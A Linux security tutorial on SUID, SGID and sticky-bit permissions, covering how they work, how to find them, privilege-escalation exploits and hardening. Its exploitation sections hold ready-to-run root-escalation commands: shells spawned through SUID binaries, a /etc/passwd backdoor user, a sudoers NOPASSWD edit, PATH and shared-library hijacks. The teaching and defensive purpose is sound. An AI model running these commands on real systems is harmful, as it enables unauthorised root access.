By Davy Rogers. Use these techniques only in environments you own or have explicit permission to test.

SUID, SGID, and Sticky Bit

Introduction

SUID (Set User ID), SGID (Set Group ID), and the Sticky Bit are special file permissions in Unix and Linux systems that modify the default behavior of executable files and directories. These permission bits provide powerful functionality for system administration but can also introduce significant security risks when misconfigured.

Understanding these special permissions is crucial for:

  • Penetration Testers: Identifying privilege escalation vectors through SUID/SGID binaries
  • System Administrators: Managing legitimate system functionality while maintaining security
  • Security Auditors: Assessing systems for permission-based vulnerabilities
  • Linux Users: Understanding advanced file permission concepts

This lesson provides comprehensive coverage of SUID, SGID, and sticky bit mechanics, legitimate uses, security implications, exploitation techniques, and defensive best practices.


Understanding Special Permissions

Standard Linux Permissions Review

Before diving into special permissions, let's review standard Linux file permissions:

# Permission structure: rwxrwxrwx
# Position:              UUU GGG OOO
# U = User (owner)
# G = Group
# O = Others

# Example:
ls -l /bin/bash
-rwxr-xr-x 1 root root 1183448 Jun 18  2020 /bin/bash
# Owner (root): read, write, execute
# Group (root): read, execute
# Others: read, execute

Permission Bits:

  • r (read): View file contents or list directory contents
  • w (write): Modify file or create/delete files in directory
  • x (execute): Run file as program or access directory

Numeric Representation:

r = 4
w = 2
x = 1

Examples:
rwx = 7 (4+2+1)
rw- = 6 (4+2)
r-x = 5 (4+1)
r-- = 4

Special Permission Bits

Special permissions add three additional bits:

SUID (Set User ID) - Bit value: 4:

  • When set on an executable, the program runs with the permissions of the file owner (not the user executing it)
  • Represented by 's' in the owner's execute position
  • Only meaningful for executable files

SGID (Set Group ID) - Bit value: 2:

  • On executables: Program runs with permissions of the file's group
  • On directories: New files inherit the directory's group (not creator's default group)
  • Represented by 's' in the group's execute position

Sticky Bit - Bit value: 1:

  • Meaningful only on directories
  • Prevents users from deleting files they don't own (even with write access to directory)
  • Represented by 't' in the others' execute position
  • Commonly used on /tmp

Numeric Representation:

SUID = 4000
SGID = 2000
Sticky = 1000

Examples:
4755 = SUID + rwxr-xr-x
2755 = SGID + rwxr-xr-x
1777 = Sticky + rwxrwxrwx
6755 = SUID + SGID + rwxr-xr-x

SUID (Set User ID)

How SUID Works

When a file with SUID is executed, the process runs with the effective user ID of the file owner, not the user who executed it.

Visual Representation:

# File without SUID
ls -l /bin/ls
-rwxr-xr-x 1 root root 133792 Jan 18  2021 /bin/ls

# When user 'john' runs ls:
# Effective UID: john
# Process runs with john's permissions

# File with SUID
ls -l /usr/bin/passwd
-rwsr-xr-x 1 root root 68208 Jul 14  2021 /usr/bin/passwd
#    ^
#    SUID bit (s instead of x)

# When user 'john' runs passwd:
# Effective UID: root (owner of the file)
# Process runs with root's permissions

Legitimate Uses of SUID

passwd Command:

ls -l /usr/bin/passwd
-rwsr-xr-x 1 root root 68208 Jul 14  2021 /usr/bin/passwd

# Why SUID is needed:
# - Users must change their own passwords
# - Password hashes stored in /etc/shadow (only root can write)
# - passwd needs root privileges to modify /etc/shadow

ping Command:

ls -l /bin/ping
-rwsr-xr-x 1 root root 72776 Jan 30  2020 /bin/ping

# Why SUID is needed:
# - ping requires creating raw ICMP sockets
# - Raw sockets require root/CAP_NET_RAW capability
# - Allows regular users to ping without sudo

sudo Command:

ls -l /usr/bin/sudo
-rwsr-xr-x 1 root root 166056 Jan 19  2021 /usr/bin/sudo

# Why SUID is needed:
# - sudo switches user context
# - Requires root privileges to change effective UID
# - Allows authorized users to execute commands as other users

su Command:

ls -l /bin/su
-rwsr-xr-x 1 root root 67816 Jul 21  2020 /bin/su

# Why SUID is needed:
# - Switches to another user account
# - Requires root privileges to change UID

Security Implications of SUID

Risk: If a SUID binary owned by root has vulnerabilities, it can be exploited for privilege escalation.

Attack Surface:

  • Buffer overflows
  • Command injection
  • Path traversal
  • Library hijacking
  • Symbolic link attacks
  • Race conditions

Finding SUID Files

Find All SUID Files:

# Basic search
find / -perm -u=s -type f 2>/dev/null

# Alternative notation
find / -perm -4000 -type f 2>/dev/null

# More detailed output
find / -perm -u=s -type f -exec ls -la {} \; 2>/dev/null

# Save to file for analysis
find / -perm -4000 -type f 2>/dev/null > suid_files.txt

# Find SUID files owned by root
find / -user root -perm -4000 -type f 2>/dev/null

# Find recently modified SUID files (potential backdoors)
find / -perm -4000 -type f -mtime -7 2>/dev/null

Common Legitimate SUID Binaries:

/usr/bin/passwd
/usr/bin/sudo
/usr/bin/su
/bin/ping
/bin/mount
/bin/umount
/usr/bin/pkexec
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper

Setting and Removing SUID

Setting SUID:

# Numeric method (4 prefix)
chmod 4755 /path/to/file

# Symbolic method
chmod u+s /path/to/file

# Example: Create SUID shell (for testing)
cp /bin/bash /tmp/bash
chmod 4755 /tmp/bash
ls -l /tmp/bash
# -rwsr-xr-x 1 root root 1183448 Oct 1 10:00 /tmp/bash

Removing SUID:

# Numeric method
chmod 0755 /path/to/file

# Symbolic method
chmod u-s /path/to/file

# Remove all special bits
chmod 755 /path/to/file

Uppercase S vs Lowercase s:

# Lowercase 's' - Execute permission is set
-rwsr-xr-x  # SUID + owner execute

# Uppercase 'S' - Execute permission NOT set (misconfiguration)
-rwSr--r--  # SUID without owner execute (ineffective)

Exploiting SUID Binaries

GTFOBins (https://gtfobins.github.io/) is the definitive resource for exploiting SUID binaries.

SUID Bash/Shell

# Find SUID bash
find / -name bash -perm -4000 2>/dev/null

# Exploit (-p flag preserves effective UID)
/path/to/suid/bash -p

# Verify
whoami
# root

id
# uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)

# Note: Modern bash drops privileges if real UID != effective UID
# Unless invoked with -p flag

SUID Python

# Find SUID python
find / -name python* -perm -4000 2>/dev/null

# Exploit - Method 1: Spawn shell
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

# Method 2: Set UID and spawn shell
python -c 'import os; os.setuid(0); os.system("/bin/bash")'

# Method 3: Execute command as root
python -c 'import os; os.setuid(0); os.system("whoami")'

SUID Perl

# Find SUID perl
find / -name perl* -perm -4000 2>/dev/null

# Exploit - Method 1
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

# Method 2
perl -e 'exec "/bin/sh";'

SUID PHP

# Find SUID PHP
find / -name php* -perm -4000 2>/dev/null

# Exploit
php -r "pcntl_exec('/bin/sh', ['-p']);"

SUID vim/vi

# Find SUID vim
find / -name vim* -perm -4000 2>/dev/null

# Exploit - Method 1: Command execution
vim -c ':py3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

# Method 2: Shell from within vim
vim -c ':!/bin/sh -p'

# Method 3: Open vim, then:
:set shell=/bin/sh
:shell

SUID find

# Find SUID find
find / -name find -perm -4000 2>/dev/null

# Exploit - Execute command
find . -exec /bin/sh -p \; -quit

# Or
find . -exec whoami \;

SUID less/more

# Find SUID less
find / -name less -perm -4000 2>/dev/null

# Exploit less
less /etc/passwd
# Press 'v' to open in editor, then:
:!/bin/sh -p

# Exploit more
more /etc/passwd
!/bin/sh -p

SUID awk

# Find SUID awk
find / -name awk -perm -4000 2>/dev/null

# Exploit
awk 'BEGIN {system("/bin/sh -p")}'

SUID man

# Find SUID man
find / -name man -perm -4000 2>/dev/null

# Exploit (man uses less as pager by default)
man man
# Then press '!' and execute:
!/bin/sh -p

SUID nmap (Older Versions)

# Nmap versions 2.02-5.21 had --interactive mode
nmap --interactive
nmap> !sh -p

SUID git

# Find SUID git
find / -name git -perm -4000 2>/dev/null

# Exploit - Method 1: help pages (uses less)
git -p help
!/bin/sh -p

# Method 2: Pre-commit hook
PAGER='sh -c "exec sh -p 0<&1"' git -p help

SUID systemctl

# Find SUID systemctl
find / -name systemctl -perm -4000 2>/dev/null

# Exploit - Create malicious service
TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "chmod +s /bin/bash"
[Install]
WantedBy=multi-user.target' > $TF

systemctl link $TF
systemctl enable --now $TF

# Then use SUID bash
/bin/bash -p

SUID cp (Copy)

# Find SUID cp
find / -name cp -perm -4000 2>/dev/null

# Exploit - Overwrite /etc/passwd
# Generate password hash
openssl passwd -1 -salt salt password123
# $1$salt$qJH7.N4xYta3aEG/dfqo/0

# Create malicious passwd file
cat /etc/passwd > /tmp/passwd
echo 'hacker:$1$salt$qJH7.N4xYta3aEG/dfqo/0:0:0:root:/root:/bin/bash' >> /tmp/passwd

# Overwrite original
cp /tmp/passwd /etc/passwd

# Switch to new root user
su hacker
# Password: password123

SUID nano

# Find SUID nano
find / -name nano -perm -4000 2>/dev/null

# Exploit - Read sensitive files
nano /etc/shadow

# Or write to sensitive files
nano /etc/sudoers
# Add: user ALL=(ALL) NOPASSWD: ALL

# Or execute commands (Ctrl+R, Ctrl+X)
# Press Ctrl+R then Ctrl+X
# Command to execute: reset; sh 1>&0 2>&0

SUID tar

# Find SUID tar
find / -name tar -perm -4000 2>/dev/null

# Exploit - Method 1: Checkpoint action
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

# Method 2: Extract with setuid
echo 'chmod +s /bin/bash' > shell.sh
tar -cf archive.tar shell.sh
tar -xf archive.tar --to-command=/bin/sh

SUID zip/unzip

# Find SUID zip
find / -name zip -perm -4000 2>/dev/null

# Exploit zip
TF=$(mktemp -u)
zip $TF /etc/hosts -T -TT 'sh #'

# Exploit unzip
sudo unzip -K shell.zip

Custom SUID Binary Exploitation

When encountering unknown SUID binaries:

Step 1: Gather Information:

# Check file type
file /path/to/suid-binary

# View strings
strings /path/to/suid-binary

# Check shared libraries
ldd /path/to/suid-binary

# Run with strace
strace /path/to/suid-binary 2>&1

# Check ltrace for library calls
ltrace /path/to/suid-binary 2>&1

Step 2: Look for Vulnerabilities:

Relative Path Exploitation:

# If binary uses relative paths (e.g., "service" instead of "/usr/sbin/service")
strings /path/to/suid-binary | grep -v "^/"

# Create malicious binary
echo '/bin/sh -p' > /tmp/service
chmod +x /tmp/service

# Hijack PATH
export PATH=/tmp:$PATH

# Execute SUID binary
/path/to/suid-binary

Shared Library Hijacking:

# Check for missing libraries or custom load paths
ldd /path/to/suid-binary

# If binary uses non-standard library paths:
# Create malicious library
cat > /tmp/libexample.c << EOF
#include <stdio.h>
#include <stdlib.h>

void init() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
}
EOF

# Compile
gcc -shared -fPIC -o /tmp/libexample.so /tmp/libexample.c -nostartfiles

# Use LD_PRELOAD or LD_LIBRARY_PATH
LD_PRELOAD=/tmp/libexample.so /path/to/suid-binary

Command Injection:

# If binary accepts user input and passes it to system commands
# Test with command separators
/path/to/suid-binary "normal input"
/path/to/suid-binary "normal; whoami"
/path/to/suid-binary "normal && whoami"
/path/to/suid-binary "normal | whoami"
/path/to/suid-binary "normal `whoami`"
/path/to/suid-binary "normal $(whoami)"

Buffer Overflow:

# Test with long inputs
python -c 'print "A"*1000' | /path/to/suid-binary

# If crashes, potential buffer overflow
# Requires exploitation skills (shellcode, ROP, etc.)

SGID (Set Group ID)

How SGID Works

On Executable Files:

  • Process runs with the effective group ID of the file's group
  • Similar to SUID but for group permissions

On Directories:

  • New files/subdirectories inherit the directory's group
  • Facilitates group collaboration

SGID on Executables

Visual Representation:

# File with SGID
ls -l /usr/bin/wall
-rwxr-sr-x 1 root tty 19160 Nov 14  2020 /usr/bin/wall
#       ^
#       SGID bit (s in group execute position)

# When user 'john' (not in tty group) runs wall:
# Effective GID: tty (group owner of file)
# Can write to tty devices owned by tty group

Legitimate Uses:

# wall command (write to all terminals)
ls -l /usr/bin/wall
-rwxr-sr-x 1 root tty 19160 Nov 14  2020 /usr/bin/wall

# write command (write to specific user's terminal)
ls -l /usr/bin/write
-rwxr-sr-x 1 root tty 14312 Nov 14  2020 /usr/bin/write

# crontab (access cron directories)
ls -l /usr/bin/crontab
-rwxr-sr-x 1 root crontab 39352 Nov 16  2017 /usr/bin/crontab

SGID on Directories

Behavior:

# Without SGID
mkdir /tmp/project
ls -ld /tmp/project
drwxr-xr-x 2 alice developers 4096 Oct 1 10:00 /tmp/project

# Create file as bob (member of 'staff' group)
su - bob
touch /tmp/project/file1.txt
ls -l /tmp/project/file1.txt
-rw-r--r-- 1 bob staff 0 Oct 1 10:01 file1.txt
# File group is bob's primary group (staff)

# With SGID
mkdir /tmp/shared
chmod 2775 /tmp/shared
chgrp developers /tmp/shared
ls -ld /tmp/shared
drwxrwsr-x 2 alice developers 4096 Oct 1 10:02 /tmp/shared
#       ^
#       SGID bit

# Create file as bob
su - bob
touch /tmp/shared/file2.txt
ls -l /tmp/shared/file2.txt
-rw-r--r-- 1 bob developers 0 Oct 1 10:03 file2.txt
# File group is directory's group (developers), NOT bob's primary group

Use Case - Team Collaboration:

# Create shared project directory
mkdir /projects/team-alpha
chgrp team-alpha /projects/team-alpha
chmod 2775 /projects/team-alpha

# Now all files created by team members inherit team-alpha group
# All team members can read/write files regardless of who created them

Finding SGID Files

# Find all SGID files
find / -perm -g=s -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null

# Find SGID directories
find / -perm -g=s -type d 2>/dev/null

# Find SGID files owned by specific group
find / -group shadow -perm -2000 -type f 2>/dev/null

Setting and Removing SGID

On Files:

# Numeric method
chmod 2755 /path/to/file

# Symbolic method
chmod g+s /path/to/file

# Remove SGID
chmod g-s /path/to/file

On Directories:

# Set SGID on directory
chmod 2775 /path/to/directory

# Or
chmod g+s /path/to/directory

# Verify
ls -ld /path/to/directory
drwxrwsr-x 2 owner group 4096 Oct 1 10:00 /path/to/directory

Exploiting SGID Binaries

SGID exploitation is similar to SUID but provides group privileges:

Example - SGID Shadow Group:

# Find SGID binaries with shadow group
find / -group shadow -perm -2000 -type f 2>/dev/null

# If exists (less common in modern systems):
# Could potentially read /etc/shadow

# Example exploitation
/path/to/sgid-shadow-binary
# Might allow reading password hashes

SGID Binaries on GTFOBins:

Most SUID exploits work with SGID, just providing group-level access instead of user-level:

# SGID python (group shadow)
find / -name python* -perm -2000 -group shadow 2>/dev/null

# Exploit to read files readable by shadow group
python -c 'print(open("/etc/shadow").read())'

Sticky Bit

How Sticky Bit Works

The sticky bit is meaningful only on directories:

Behavior:

  • Users can only delete/rename files they own
  • Applies even if users have write permission to the directory
  • Root can delete any file regardless of sticky bit

Without Sticky Bit:

mkdir /tmp/test-dir
chmod 777 /tmp/test-dir
ls -ld /tmp/test-dir
drwxrwxrwx 2 root root 4096 Oct 1 10:00 /tmp/test-dir

# User alice creates file
su - alice
touch /tmp/test-dir/alice-file.txt

# User bob can delete alice's file (directory is writable)
su - bob
rm /tmp/test-dir/alice-file.txt
# Success - file deleted!

With Sticky Bit:

mkdir /tmp/test-sticky
chmod 1777 /tmp/test-sticky
ls -ld /tmp/test-sticky
drwxrwxrwt 2 root root 4096 Oct 1 10:00 /tmp/test-sticky
#         ^
#         Sticky bit

# User alice creates file
su - alice
touch /tmp/test-sticky/alice-file.txt

# User bob tries to delete alice's file
su - bob
rm /tmp/test-sticky/alice-file.txt
# rm: cannot remove 'alice-file.txt': Operation not permitted

# Bob can still create/delete his own files
touch /tmp/test-sticky/bob-file.txt
rm /tmp/test-sticky/bob-file.txt
# Success

Legitimate Uses

The /tmp Directory:

ls -ld /tmp
drwxrwxrwt 20 root root 4096 Oct 1 09:00 /tmp

# Why sticky bit on /tmp:
# - All users can create temporary files
# - Users cannot delete each other's files
# - Prevents malicious users from deleting others' temp files

Shared Upload Directory:

# Web application upload directory
mkdir /var/www/uploads
chown www-data:www-data /var/www/uploads
chmod 1777 /var/www/uploads

# Multiple users/processes can upload
# But cannot delete each other's uploads

Finding Directories with Sticky Bit

# Find all directories with sticky bit
find / -perm -1000 -type d 2>/dev/null

# Common results:
# /tmp
# /var/tmp
# /dev/shm

Setting and Removing Sticky Bit

# Set sticky bit - Numeric method
chmod 1777 /path/to/directory

# Set sticky bit - Symbolic method
chmod +t /path/to/directory

# Remove sticky bit
chmod -t /path/to/directory

# Verify
ls -ld /path/to/directory
drwxrwxrwt 2 owner group 4096 Oct 1 10:00 /path/to/directory
#         ^
#         't' indicates sticky bit + execute for others

Uppercase T vs Lowercase t:

# Lowercase 't' - Execute permission for others is SET
drwxrwxrwt  # Sticky + others can execute/access

# Uppercase 'T' - Execute permission for others NOT set
drwxrwxrwT  # Sticky but others cannot access (unusual)

Security Implications

Low Direct Security Impact:

  • Sticky bit primarily prevents denial-of-service
  • Doesn't directly lead to privilege escalation
  • But missing sticky bit on /tmp can enable certain attacks

Symlink Attacks Without Sticky Bit:

# Scenario: /tmp without sticky bit
# Root script does: rm -rf /tmp/tempfile

# Attacker creates symlink
ln -s /etc/passwd /tmp/tempfile

# When root script runs:
rm -rf /tmp/tempfile
# Deletes /etc/passwd instead!

# Sticky bit prevents this:
# Attacker cannot delete/replace files they don't own

Practical Exploitation Scenarios

Scenario 1: SUID Find Binary

Environment:

  • Linux system with SUID find binary
  • Current user: www-data (web shell)
  • Goal: Escalate to root

Enumeration:

# Find SUID binaries
find / -perm -4000 -type f 2>/dev/null

# Results include:
/usr/bin/find

Verification:

ls -l /usr/bin/find
-rwsr-xr-x 1 root root 233K Apr 18 2021 /usr/bin/find

# Owned by root with SUID bit - exploitable!

Exploitation:

# Execute shell using find
find . -exec /bin/sh -p \; -quit

# Verify root access
whoami
# root

id
# uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)

Scenario 2: SUID Python Script

Environment:

  • Custom Python script with SUID
  • Script performs system administration tasks
  • Goal: Exploit to gain root shell

Discovery:

# Find SUID Python files
find / -name "*.py" -perm -4000 2>/dev/null
# /opt/scripts/admin.py

ls -l /opt/scripts/admin.py
-rwsr-xr-x 1 root root 247 Oct 1 09:00 /opt/scripts/admin.py

Analysis:

# View script contents
cat /opt/scripts/admin.py

#!/usr/bin/python
import os
import sys

def backup():
    os.system("tar czf /backups/backup.tar.gz /data")

if __name__ == "__main__":
    if len(sys.argv) > 1:
        if sys.argv[1] == "backup":
            backup()

Exploitation - Method 1: Python Import Hijacking:

# Create malicious module in local directory
cat > os.py << EOF
import pty
pty.spawn("/bin/sh")
EOF

# Run from directory with malicious os.py
/opt/scripts/admin.py backup

# Root shell spawned!

Exploitation - Method 2: Direct Python Execution:

# If can modify script or script imports custom modules
# Even better - use Python's -c flag if script allows
python -c 'import os; os.setuid(0); os.system("/bin/bash")'

Scenario 3: PATH Hijacking

Environment:

  • SUID binary using relative paths
  • Goal: Hijack PATH to execute malicious code

Discovery:

# Find unusual SUID binary
find / -perm -4000 -type f 2>/dev/null | grep -v "^/usr/bin\|^/bin"
# /usr/local/bin/backupscript

ls -l /usr/local/bin/backupscript
-rwsr-xr-x 1 root root 8.2K Oct 1 09:00 /usr/local/bin/backupscript

Analysis:

# Check for relative paths
strings /usr/local/bin/backupscript | grep -v "^/"
# tar
# gzip
# service

# Binary uses relative paths!

Exploitation:

# Create malicious 'tar' command
echo '#!/bin/bash' > /tmp/tar
echo 'chmod +s /bin/bash' >> /tmp/tar
chmod +x /tmp/tar

# Or spawn shell directly
echo '#!/bin/bash' > /tmp/service
echo '/bin/sh -p' >> /tmp/service
chmod +x /tmp/service

# Hijack PATH
export PATH=/tmp:$PATH

# Execute SUID binary
/usr/local/bin/backupscript

# Check for SUID bash
ls -l /bin/bash
-rwsr-sr-x 1 root root 1183448 Jun 18 2020 /bin/bash

# Use SUID bash
/bin/bash -p
whoami
# root

Scenario 4: Shared Library Hijacking

Environment:

  • SUID binary using custom shared library
  • Library load path is hijackable
  • Goal: Replace library with malicious version

Discovery:

# Find SUID binary
find / -perm -4000 2>/dev/null | grep custom
# /opt/app/custom-tool

# Check shared libraries
ldd /opt/app/custom-tool
# linux-vdso.so.1 =>  (0x00007ffd)
# libcustom.so => /opt/app/lib/libcustom.so (0x00007f8f)
# libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f8e)

Check Library Path:

# Check if LD_LIBRARY_PATH is honored (rare with SUID)
# Or check if library directory is writable
ls -ld /opt/app/lib
drwxrwxrwx 2 root root 4096 Oct 1 09:00 /opt/app/lib

# Writable!

Exploitation:

# Create malicious library
cat > /tmp/libcustom.c << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void init() __attribute__((constructor));

void init() {
    setuid(0);
    setgid(0);
    system("/bin/sh -p");
}
EOF

# Compile
gcc -shared -fPIC -o libcustom.so /tmp/libcustom.c

# Replace original library
cp libcustom.so /opt/app/lib/libcustom.so

# Execute SUID binary
/opt/app/custom-tool

# Root shell spawned!

Defense and Mitigation

Auditing SUID/SGID Files

Regular Audits:

# Create baseline of SUID/SGID files
find / -type f \( -perm -4000 -o -perm -2000 \) -exec ls -la {} \; 2>/dev/null > suid_baseline.txt

# Periodic comparison
find / -type f \( -perm -4000 -o -perm -2000 \) -exec ls -la {} \; 2>/dev/null > suid_current.txt
diff suid_baseline.txt suid_current.txt

# Alert on new SUID/SGID files

Automated Monitoring:

# Create daily cron job
cat > /etc/cron.daily/suid-check << 'EOF'
#!/bin/bash
BASELINE="/var/lib/suid_baseline.txt"
CURRENT="/tmp/suid_current.txt"

find / -type f \( -perm -4000 -o -perm -2000 \) -exec ls -la {} \; 2>/dev/null > "$CURRENT"

if [ -f "$BASELINE" ]; then
    diff "$BASELINE" "$CURRENT" | mail -s "SUID/SGID Changes Detected" [email protected]
fi

cp "$CURRENT" "$BASELINE"
EOF

chmod +x /etc/cron.daily/suid-check

Removing Unnecessary SUID/SGID

Principle of Least Privilege:

# Identify unnecessary SUID binaries
# Examples that might not be needed:

# Remove SUID from ping if users don't need it
chmod u-s /bin/ping

# Remove SUID from compilers (prevents local exploit compilation)
chmod u-s /usr/bin/gcc
chmod u-s /usr/bin/g++

# Audit custom SUID binaries
find /opt -perm -4000 2>/dev/null
find /usr/local -perm -4000 2>/dev/null

Using Capabilities Instead of SUID

Linux capabilities split root privileges into distinct units:

# Instead of SUID on ping:
# Remove SUID
chmod u-s /bin/ping

# Add CAP_NET_RAW capability
setcap cap_net_raw+ep /bin/ping

# Verify
getcap /bin/ping
# /bin/ping = cap_net_raw+ep

# Now ping works without SUID
ls -l /bin/ping
-rwxr-xr-x 1 root root 72776 Jan 30 2020 /bin/ping
# No 's' bit, but still works for users

Benefits:

  • More granular permissions
  • Reduces attack surface
  • Easier to audit

File System Mount Options

nosuid Mount Option:

Prevents SUID/SGID execution on mounted filesystem:

# Mount with nosuid
mount -o nosuid /dev/sdb1 /mnt/data

# Add to /etc/fstab
echo '/dev/sdb1 /mnt/data ext4 defaults,nosuid 0 2' >> /etc/fstab

# Recommend for:
# - /tmp (if not required)
# - /home (usually safe)
# - Removable media
# - Network shares

Example /etc/fstab:

# Secure partition mounting
/dev/sda1  /          ext4  defaults                    0 1
/dev/sda2  /home      ext4  defaults,nosuid,nodev       0 2
/dev/sda3  /tmp       ext4  defaults,nosuid,nodev,noexec 0 2
/dev/sda4  /var/tmp   ext4  defaults,nosuid,nodev,noexec 0 2

Application Security

Secure Coding Practices:

// Bad - Vulnerable to command injection
#include <stdlib.h>
void backup(char *filename) {
    char cmd[256];
    sprintf(cmd, "tar czf backup.tar.gz %s", filename);
    system(cmd);  // Vulnerable!
}

// Good - Use execve with explicit arguments
#include <unistd.h>
void backup_secure(char *filename) {
    char *args[] = {"tar", "czf", "backup.tar.gz", filename, NULL};
    execve("/bin/tar", args, NULL);
}

Avoid Relative Paths:

// Bad
system("service restart");

// Good
system("/usr/sbin/service restart");

Drop Privileges When Possible:

#include <unistd.h>
#include <sys/types.h>

int main() {
    // Do privileged operations
    // ...
    
    // Drop privileges
    setuid(getuid());
    setgid(getgid());
    
    // Continue with non-privileged operations
    return 0;
}

Monitoring and Detection

Using Auditd:

# Install auditd
apt install auditd

# Monitor SUID execution
auditctl -a always,exit -F arch=b64 -S execve -F euid=0 -F auid>=1000 -k suid_execution

# Monitor file permission changes
auditctl -w /usr/bin/ -p wa -k binary_changes
auditctl -w /usr/local/bin/ -p wa -k binary_changes

# View audit logs
ausearch -k suid_execution
ausearch -k binary_changes

Summary

SUID, SGID, and Sticky Bit are powerful special permissions that:

Provide Legitimate Functionality:

  • SUID: Allows programs to run with owner privileges (passwd, sudo)
  • SGID: Enables programs to run with group privileges, directories to share group ownership
  • Sticky Bit: Protects files in shared directories from deletion by non-owners

Introduce Security Risks:

  • SUID/SGID binaries with vulnerabilities enable privilege escalation
  • Improperly secured custom SUID binaries create attack vectors
  • PATH and library hijacking exploit trust in SUID execution

Require Careful Management:

  • Regular audits to identify unauthorized SUID/SGID files
  • Principle of least privilege - remove unnecessary special permissions
  • Use Linux capabilities instead of SUID when possible
  • Implement nosuid mount option on appropriate filesystems
  • Monitor for suspicious SUID execution patterns

Key Takeaways:

  • Always enumerate SUID/SGID files during security assessments
  • Use GTFOBins as reference for exploiting common binaries
  • Understand PATH and library hijacking techniques
  • Implement defense-in-depth with auditing, monitoring, and hardening
  • Balance functionality needs with security requirements

Mastering these special permissions is essential for both offensive security operations and defensive system hardening.


Resources